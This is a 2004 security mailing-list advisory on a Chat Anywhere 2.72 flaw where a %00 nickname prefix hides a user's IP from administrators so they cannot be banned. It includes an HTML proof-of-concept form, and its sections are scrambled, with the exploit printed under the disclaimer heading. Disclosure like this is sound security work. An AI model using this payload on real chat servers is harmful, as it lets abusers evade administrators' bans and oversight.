[NT] Ghost Users in Chat Anywhere
From: SecuriTeam (support_at_securiteam.com)
Date: 03/10/04
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To: list@securiteam.com Date: 10 Mar 2004 16:27:57 +0200
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Ghost Users in Chat Anywhere
------------------------------------------------------------------------
SUMMARY
<http://www.lionmax.com/> Chat Anywhere is "a powerful chat server
software for real-time chatting". A vulnerability in the product allows
remote attackers to hide their activity or evidence that they are
connected to the service by registering with a special string combination
prefixing their nickname.
DETAILS
Vulnerable Systems:
* Chat Anywhere version 2.72 and prior
Immune Systems:
* Chat Anywhere version 2.72a or newer
Using %00 before the nickname allows a user to hide himself from the
administrator. Practically the administrator cannot see the user's IP
address in the administration web page because it is substituted by the
text $IP$. This vulnerability allows a malicious user to avoid being
banned or kicked.
Exploit:
ADDITIONAL INFORMATION
The information has been provided by <mailto:aluigi@altervista.org> Luigi
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
====================
DISCLAIMER:
The following simple HTML file that sends %00 in plain-text because almost
all the browsers sends it encoded as %2500:
< html>
< base href="http://127.0.0.1:80">
< title>Chat Anywhere 2.72 ghost user proof-of-concept</title>
< body>
Chat Anywhere 2.72 ghost user proof-of-concept<br>
by Luigi Auriemma<br>
e-mail: aluigi@altervista.org<br>
web: http://aluigi.altervista.org
< br>
< ;br>
Note: Remember to change the <b>base href</b> value into the html code
with the server you wanna test (default is < i>127.0.0.1</i>)<br>
< br>
< form method="post" action="chatroom.htm" enctype="text/plain">
< input type="text" name="UserName" value="%00nickname">
< input type="submit">
</form>
</body>
</html>
Auriemma.
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====================
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
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